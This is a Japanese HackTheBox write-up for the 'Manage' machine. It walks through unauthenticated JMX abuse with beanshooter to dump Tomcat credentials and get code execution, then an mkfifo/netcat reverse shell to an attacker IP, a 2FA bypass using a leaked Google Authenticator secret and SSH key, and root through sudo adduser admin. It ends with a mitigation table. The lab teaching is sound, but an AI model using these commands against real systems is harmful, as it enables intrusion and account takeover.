HackTheBox — Manage Writeup
難易度: Medium
OS: Linux (Ubuntu 22.04)
カテゴリ: JMX, Apache Tomcat, TOTP Bypass, sudo Misconfiguration
学習テーマ: JMX 経由の RCE (beanshooter), Google Authenticator シークレット漏洩, adduser による権限昇格
目次
- マシン概要
- 偵察 (Reconnaissance)
- JMX 経由の認証情報取得
- Web 列挙と Tomcat Manager の確認
- 初期侵入 (Initial Foothold)
- 権限昇格 — useradmin への横移動
- 権限昇格 — root へ
- まとめと学習ポイント
- 参照文献
マシン概要
Manage は Apache Tomcat と JMX (Java Management Extensions) の設定不備を起点に、2FA バイパスと sudo adduser の巧妙な悪用を経て root を奪うマシンです。
認証なしで接続できる JMX エンドポイントから Tomcat の管理者認証情報を取得し、beanshooter による MBean デプロイで RCE を実現します。その後、バックアップファイルに含まれた SSH 秘密鍵と Google Authenticator シークレットで TOTP 認証を突破。最後は adduser による新規ユーザー作成で Ubuntu の sudo グループを悪用し、root を取得します。
| 項目 | 値 |
|---|---|
| IP アドレス | 10.129.234.57 |
| OS | Ubuntu 22.04.5 LTS |
| 主要サービス | SSH (22), JMX/RMI (2222), HTTP/Tomcat (8080) |
偵察 (Reconnaissance)
Nmap — 基本スキャン
nmap -sS -sV -sC -Pn 10.129.234.57
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-09 08:38 +0000
Nmap scan report for 10.129.234.57
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
|_ 256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
2222/tcp open java-rmi Java RMI
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
| @127.0.1.1:41219
| extends
| java.rmi.server.RemoteStub
| extends
|_ java.rmi.server.RemoteObject
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
8080/tcp open http Apache Tomcat 10.1.19
|_http-title: Apache Tomcat/10.1.19
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.31 seconds
Nmap — 全ポートスキャン
nmap -T4 -sV -A -p- 10.129.234.57
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-09 08:37 +0000
Nmap scan report for 10.129.234.57
Host is up (0.17s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
|_ 256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
2222/tcp open java-rmi Java RMI
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
| @127.0.1.1:41219
| extends
| java.rmi.server.RemoteStub
| extends
|_ java.rmi.server.RemoteObject
8080/tcp open http Apache Tomcat 10.1.19
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/10.1.19
33727/tcp open tcpwrapped
41219/tcp open java-rmi Java RMI
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 250.88 ms 10.10.14.1
2 251.03 ms 10.129.234.57
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 511.35 seconds
偵察結果の考察
| ポート | サービス | 判断根拠と着目点 |
|---|---|---|
| 22 | SSH | 認証情報が得られれば直接ログイン可能。最終的な安定シェルの候補 |
| 2222 | Java RMI / JMX |
jmxrmi が登録されており、JMX (Java Management Extensions) エンドポイントが外部に公開されている。JMX は Java アプリケーションの管理・監視インターフェースで、認証なしでアクセスできる場合、任意コードの実行やパスワード情報の取得が可能になる。最優先で調査すべき |
| 8080 | Apache Tomcat 10.1.19 | Tomcat の管理パネル (/manager) が存在する。認証情報が取れれば WAR デプロイによる RCE が狙える |
| 41219 | Java RMI | 2222 の JMX が実際に通信する RMI ダイナミックポート |
この段階での戦略的判断
最も危険な攻撃面は ポート 2222 の JMX エンドポイントです。JMX は本来、ローカルまたは認証付きでのみ使用されるべきですが、設定不備で外部に公開されていた場合、ペネトレーションテストで頻繁に悪用されます [1]。まず beanshooter を使って JMX に認証なしで接続し、Tomcat の設定情報(ユーザー名・パスワード)を引き出すことを試みます。
JMX 経由の認証情報取得
JMX とは
JMX (Java Management Extensions) は Java アプリケーションをリモートから監視・管理するための標準 API です。Apache Tomcat も JMX を通じて設定値やセッション情報を公開しています。JMX の RMI コネクタが認証なしで外部に公開されていると、攻撃者はアプリケーションの内部状態を自由に読み書きできます [1]。
beanshooter は JMX エンドポイントを攻撃するための専用ツールです [2]。tomcat list サブコマンドを使うと、Tomcat の tomcat-users.xml に相当するユーザー情報を JMX 経由で直接取得できます。
java -jar beanshooter.jar tomcat list 10.129.234.57 2222
[+] Listing tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: fhErvo2r9wuTEYiYgt
[+] Roles:
[+] Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: onyRPCkaG4iX72BrRtKgbszd
[+] Roles:
[+] Users:type=Role,rolename="role1",database=UserDatabase
取得できた情報の整理
JMX 経由で Tomcat の全ユーザー情報が平文で取得できました。
ユーザー名 パスワード ロール 攻撃への利用価値 manager fhErvo2r9wuTEYiYgtmanage-guiTomcat Manager GUI への管理者ログインが可能。WAR デプロイによる RCE が狙える admin onyRPCkaG4iX72BrRtKgbszdrole1アプリケーション固有の一般ロール。直接の昇格には使えない
manage-guiロールを持つmanagerアカウントが最重要です。このロールは Tomcat Manager Web UI (/manager/html) へのアクセスを許可するものです。
Web 列挙と Tomcat Manager の確認
feroxbuster によるディレクトリ列挙
Tomcat Manager の存在と到達可能なパスを確認します。
feroxbuster -u http://10.129.234.57:8080/ \
-w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt \
-x php -k -C 503,404 -t 5
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.234.57:8080/
🚩 In-Scope Url │ 10.129.234.57
🚀 Threads │ 5
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
💢 Status Code Filters │ [503, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 68w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/cluster-howto.html
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/jndi-datasource-examples-howto.html
403 GET 83l 433w 3446c http://10.129.234.57:8080/manager/status
403 GET 27l 89w 877c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/appdev
403 GET 73l 389w 3022c http://10.129.234.57:8080/host-manager/html
403 GET 83l 433w 3446c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 967l 1204w 67795c http://10.129.234.57:8080/tomcat.svg
200 GET 22l 93w 42556c http://10.129.234.57:8080/favicon.ico
302 GET 0l 0w 0c http://10.129.234.57:8080/docs => http://10.129.234.57:8080/docs/
403 GET 27l 89w 865c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 73l 389w 3022c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 398l 788w 5584c http://10.129.234.57:8080/tomcat.css
200 GET 198l 490w 11219c http://10.129.234.57:8080/
302 GET 0l 0w 0c http://10.129.234.57:8080/examples => http://10.129.234.57:8080/examples/
302 GET 0l 0w 0c http://10.129.234.57:8080/manager => http://10.129.234.57:8080/manager/
400 GET 1l 80w 842c http://10.129.234.57:8080/docs/http%3a%2f%2fwww
400 GET 1l 80w 842c http://10.129.234.57:8080/docs/http%3a%2f%2fwww.php
400 GET 1l 80w 842c http://10.129.234.57:8080/http%3a%2f%2fwww
400 GET 1l 80w 842c http://10.129.234.57:8080/http%3a%2f%2fwww.php
400 GET 1l 80w 842c http://10.129.234.57:8080/examples/http%3a%2f%2fwww
400 GET 1l 80w 842c http://10.129.234.57:8080/examples/http%3a%2f%2fwww.php
400 GET 1l 80w 842c http://10.129.234.57:8080/manager/http%3a%2f%2fwww
400 GET 1l 80w 842c http://10.129.234.57:8080/manager/http%3a%2f%2fwww.php
400 GET 1l 80w 842c http://10.129.234.57:8080/host-manager/http%3a%2f%2fwww
400 GET 1l 80w 842c http://10.129.234.57:8080/host-manager/http%3a%2f%2fwww.php
feroxbuster 結果の考察
/managerへの 302 リダイレクトと/manager/statusへの 403 が確認できます。403 は「認証情報が正しくない」ではなく「アクセスできているが権限が足りない」状態を示します。JMX で取得したmanager:fhErvo2r9wuTEYiYgtを使えば正常にアクセスできると予想されます。
Tomcat Manager へのログイン確認
取得した manager 認証情報でブラウザからアクセスします。
初期侵入 (Initial Foothold)
beanshooter による MBean デプロイと RCE
Tomcat Manager へのログインは確認できましたが、beanshooter を使えば JMX 経由で直接 RCE が可能です。WAR ファイルをアップロードする手順を省き、より直接的なアプローチを取ります。
beanshooter
standard tonkaとは
beanshooter のstandardコマンドは、JMX にStandardMBeanという特殊な MBean をデプロイします。この MBean は内部でTemplateImplを使った Java デシリアライゼーション攻撃を行い、ターゲット上でコードを実行可能にします。tonkaはその後のコマンド実行に使うエージェント MBean の名称です [2]。
Step 1: tonka MBean をデプロイします。
java -jar beanshooter.jar standard 10.129.234.57 2222 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=1729496860573926 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=1729496860573926 from the MBeanServer.
[+] MBean was successfully removed.
NullPointerExceptionは成功の証拠
出力にThis is expected behavior and the attack most likely workedとある通り、このエラーは攻撃が成功したことを示しています。MBean のデプロイと初期化が完了し、tonka シェルが起動可能な状態になっています。
Step 2: tonka シェルを起動して疎通確認します。
java -jar beanshooter.jar tonka shell 10.129.234.57 2222
[tomcat@10.129.234.57 /]$ ls
JMX 経由で tomcat ユーザーとしてコマンド実行できることを確認しました。
安定したリバースシェルの確立
tonka シェルは対話性が低いため、本格的な作業のためにリバースシェルに切り替えます。まず Kali 側でリスナーを起動しておきます。
nc -nvlp 4444
tonka シェル上から、名前付きパイプを使ったリバースシェルを発行します。
[tomcat@10.129.234.57 /home/useradmin]$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.15.8 4444 >/tmp/f
Kali 側でリバースシェルの接続を確認します。
listening on [any] 4444 ...
connect to [10.10.15.8] from (UNKNOWN) [10.129.234.57] 58056
bash: cannot set terminal process group (1019): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@manage:/home/useradmin$ ls
ls
backups
user.txt の取得
システム内に user.txt を探します。
tomcat@manage:/home/useradmin$ find / -name user.txt 2>/dev/null
/opt/tomcat/user.txt
tomcat@manage:/home/useradmin$ cd /opt/tomcat
tomcat@manage:~$ cat user.txt
a86d44c7243b65a9171cf7da3e0bc279
🏁 user.txt 取得完了
権限昇格 — useradmin への横移動
ホームディレクトリの探索
システム上のユーザーを確認します。
tomcat@manage:~$ cd /home
tomcat@manage:/home$ ls
karl useradmin
tomcat@manage:/home$ cd karl
tomcat@manage:/home/karl$ ls
tomcat@manage:/home/karl$ cd ..
tomcat@manage:/home$ cd useradmin
tomcat@manage:/home/useradmin$ ls
backups
tomcat@manage:/home/useradmin$ cd backups
tomcat@manage:/home/useradmin/backups$ ls
backup.tar.gz
発見の重要性
useradminのホームディレクトリにbackups/backup.tar.gzという圧縮ファイルが存在します。このようなバックアップファイルは、SSH 秘密鍵・設定ファイル・パスワードハッシュなど機密情報を含んでいることが多く、最優先で内容を確認すべき対象です。またkarlのホームが空である点も気になります。鍵のauthorized_keysなどがuseradminのバックアップに含まれている可能性があります。
backup.tar.gz のダウンロードと展開
tomcat@manage:/home/useradmin/backups$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.15.8 - - [09/May/2026 09:23:21] "GET /backup.tar.gz HTTP/1.1" 200 -
Kali 側でダウンロードします。
wget http://10.129.234.57:8000/backup.tar.gz
--2026-05-09 09:23:23-- http://10.129.234.57:8000/backup.tar.gz
10.129.234.57:8000 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 3088 (3.0K) [application/gzip]
`backup.tar.gz' に保存中
backup.tar.gz 100%[============================================================================================================>] 3.02K --.-KB/s 時間 0.002s
2026-05-09 09:23:23 (1.60 MB/s) - `backup.tar.gz' へ保存完了 [3088/3088]
展開します。
gunzip backup.tar.gz
tar -xvf backup.tar
./
./.bash_logout
./.profile
./.ssh/
./.ssh/id_ed25519
./.ssh/id_ed25519.pub
./.ssh/authorized_keys
./.bashrc
./.google_authenticator
./.cache/
./.cache/motd.legal-displayed
./.bash_history
展開結果の読み方 — 特に重要なファイル
ファイル 重要度 理由 .ssh/id_ed25519★★★ SSH ログインに使える秘密鍵。 useradminまたはkarlとして SSH できる可能性がある.ssh/authorized_keys★★ どのユーザーがこの鍵で認証できるかを示す .google_authenticator★★★ TOTP (2 段階認証) のシークレットキー。このファイルがある = SSH 認証に TOTP が要求されている可能性が高い
.google_authenticatorの存在は、このアカウントが SSH + TOTP の 2 要素認証で保護されていることを示します。しかしシークレットキー自体が手元にあるため、TOTP コードを自前で生成できます。
SSH 秘密鍵の確認
cat .ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAKDh98jQtlV7BLoEEadDIQUrc5hD48KsQqyFXG9u+WaAAAAJiHKYIbhymC
GwAAAAtzc2gtZWQyNTUxOQAAACAKDh98jQtlV7BLoEEadDIQUrc5hD48KsQqyFXG9u+WaA
AAAECudKxoxJ6Vz74ca74nZArTpJUIagIpT06hEYuLpk4nkQoOH3yNC2VXsEugQRp0MhBS
tzmEPjwqxCrIVcb275ZoAAAAEHVzZXJhZG1pbkBtYW5hZ2UBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
まず karl で試みます。
ssh -i id_ed25519 karl@10.129.234.57
karl@10.129.234.57: Permission denied (publickey).
次に useradmin で試みます。
ssh -i id_ed25519 useradmin@10.129.234.57
(useradmin@10.129.234.57) Verification code:
(useradmin@10.129.234.57) Verification code:
(useradmin@10.129.234.57) Verification code:
useradmin@10.129.234.57: Permission denied (keyboard-interactive).
分析
karlはPermission denied (publickey)で即座に拒否されており、この鍵はkarlのauthorized_keysに登録されていないことがわかります。
useradminは秘密鍵自体は受け付けられているものの、**Verification code(TOTP コード)**の入力が求められています。3 回の入力に失敗して弾かれているため、次のステップでは.google_authenticatorに記録されたシークレットから正規の TOTP コードを生成する必要があります。
.google_authenticator の確認と TOTP コードの生成
cat .google_authenticator
CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP_AUTH
99852083
20312647
73235136
92971994
86175591
98991823
54032641
69267218
76839253
56800775
.google_authenticatorファイルの構造と TOTP の仕組み [3]
行 意味 CLSSSMHYGLENX5HAIFBQ6L35UMTOTP シークレットキー (Base32) ← これが最重要 RATE_LIMIT 3 3030 秒間に最大 3 回の試行を許容 WINDOW_SIZE 3前後 3 ウィンドウ(90 秒)の TOTP コードを許容 DISALLOW_REUSE同一コードの再利用を禁止 8 桁の数字群 緊急用のバックアップコード(1 回限り有効) TOTP (Time-based One-Time Password) は、シークレットキーと現在時刻を組み合わせて 6〜8 桁のワンタイムコードを生成します。シークレットキー
CLSSSMHYGLENX5HAIFBQ6L35UMさえあれば、oathtoolコマンドで現在有効な TOTP コードを生成できます。
oathtool --totp --base32 "CLSSSMHYGLENX5HAIFBQ6L35UM"
生成された 6 桁のコードを Verification code として入力します。
ssh -i id_ed25519 useradmin@10.129.234.57
(useradmin@10.129.234.57) Verification code:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-142-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat May 9 09:28:42 AM UTC 2026
System load: 0.27
Usage of /: 74.9% of 4.34GB
Memory usage: 26%
Swap usage: 0%
Processes: 220
Users logged in: 0
IPv4 address for eth0: 10.129.234.57
IPv6 address for eth0: dead:beef::a0de:adff:fed1:1c2a
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
useradmin@manage:~$
✅ useradmin として SSH ログイン成功
権限昇格 — root へ
sudo 権限の確認
useradmin@manage:~$ sudo -l
Matching Defaults entries for useradmin on manage:
env_reset, timestamp_timeout=1440, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User useradmin may run the following commands on manage:
(ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$
sudo adduser ^[a-zA-Z0-9]+$の分析
useradminは/usr/sbin/adduserを パスワードなし (NOPASSWD) で実行できますが、ユーザー名は^[a-zA-Z0-9]+$(英数字のみ)という正規表現制約があります。一見すると単純なユーザー追加しかできないように見えますが、Ubuntu のグループポリシーに着目することで権限昇格の糸口が見えます。
Ubuntu の
/etc/sudoersには以下のデフォルト設定があります。%admin ALL=(ALL) ALLこれは
adminグループのメンバー全員が sudo を使えるという意味です。
adduser adminを実行すると、Linux はadminという名前のユーザーを作成するとともに、同名のプライマリグループadmin(gid 1003) を新規作成します。Ubuntu の sudoers が%adminグループを許可しているため、作成直後のadminユーザーはフル sudo 権限を持ちます。つまり「英数字制限」は一見強固に見えますが、特定のグループ名(
admin)と一致するユーザー名を作れる時点でバイパス可能という設計上の穴があります [4]。
admin ユーザーの作成と root 取得
useradmin@manage:~$ sudo /usr/sbin/adduser admin
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] Y
作成した admin ユーザーに切り替えます。
useradmin@manage:~$ su admin
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
admin ユーザーの sudo 権限を確認します。
admin@manage:/home/useradmin$ sudo -l
[sudo] password for admin:
Matching Defaults entries for admin on manage:
env_reset, timestamp_timeout=1440, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User admin may run the following commands on manage:
(ALL) ALL
フル sudo 権限が確認できたので、root.txt を取得します。
admin@manage:/home/useradmin$ sudo cat /root/root.txt
b3645b7e6db6d5276ad33f0c75b8dc34
🏁 root.txt 取得完了 — マシン攻略!
まとめと学習ポイント
攻略チェーン全体図
[偵察]
Nmap → JMX/RMI (2222) + Apache Tomcat (8080) を特定
│ JMX が認証なしで外部公開 → 最優先で調査
▼
[JMX 悪用]
beanshooter tomcat list → Tomcat ユーザー一覧を平文取得
│ manager:fhErvo2r9wuTEYiYgt (manage-gui ロール)
▼
[Web 列挙]
feroxbuster → /manager の存在を確認
│ → ブラウザで Tomcat Manager にログイン確認
▼
[初期侵入]
beanshooter standard tonka → JMX 経由で MBean デプロイ
│ → beanshooter tonka shell → tomcat ユーザーとして任意コード実行
│ → mkfifo リバースシェル → user.txt
▼
[情報収集]
/home/useradmin/backups/backup.tar.gz を発見・ダウンロード
│ → .ssh/id_ed25519 (SSH 秘密鍵)
│ → .google_authenticator (TOTP シークレット: CLSSSMHYGLENX5HAIFBQ6L35UM)
▼
[2FA バイパスと横移動]
ssh -i id_ed25519 useradmin → TOTP 認証を要求
│ → oathtool でリアルタイム TOTP コードを生成
│ → useradmin として SSH ログイン成功
▼
[sudo adduser 悪用]
sudo -l → adduser ^[a-zA-Z0-9]+$ が NOPASSWD で実行可能
│ → sudo adduser admin → Ubuntu の %admin sudoers ルールを悪用
│ → su admin → sudo -l → (ALL) ALL
▼
[root 取得]
sudo cat /root/root.txt → root.txt
脆弱性の根本原因と対策
| 攻撃手法 | 根本原因 | 対策 |
|---|---|---|
| JMX 未認証アクセス | JMX が認証なしで外部 IP に公開されている | JMX には必ず認証を設定し、バインドアドレスを 127.0.0.1 に制限する |
| Tomcat 認証情報の漏洩 | JMX 経由で tomcat-users.xml の内容が取得可能 |
JMX の認証・暗号化 (SSL) を有効化し、管理ポートへの外部アクセスを遮断する |
| バックアップファイルへの不適切なアクセス権 |
backups/ ディレクトリに SSH 秘密鍵と TOTP シークレットが平文で保存されており、tomcat ユーザーから読み取り可能 |
バックアップには最小権限 (700/600) を設定し、機密ファイルは暗号化してから保存する |
| TOTP シークレットの漏洩 |
.google_authenticator が適切に保護されていない |
2FA は「知っているもの(パスワード)+持っているもの(デバイス)」を組み合わせる設計だが、シークレット自体が漏洩すれば意味をなさない |
| sudo adduser による権限昇格 |
admin グループに対する Ubuntu のデフォルト sudoers ルールを考慮せずに adduser を許可している |
sudo ルールに許可するユーザー名を明示的に制限するか、ユーザー名 admin を禁止する。あるいは adduser 自体の sudo 許可をなくす |
参照文献
[1] Oracle. "Java Management Extensions (JMX) Technology." https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/overview/JMXoverviewTOC.html
[2] qtc-de. "beanshooter — JMX enumeration and attacking tool." https://github.com/qtc-de/beanshooter
[3] Google. "google-authenticator-libpam." https://github.com/google/google-authenticator-libpam
[4] MITRE ATT&CK. "Create Account: Local Account (T1136.001)." https://attack.mitre.org/techniques/T1136/001/

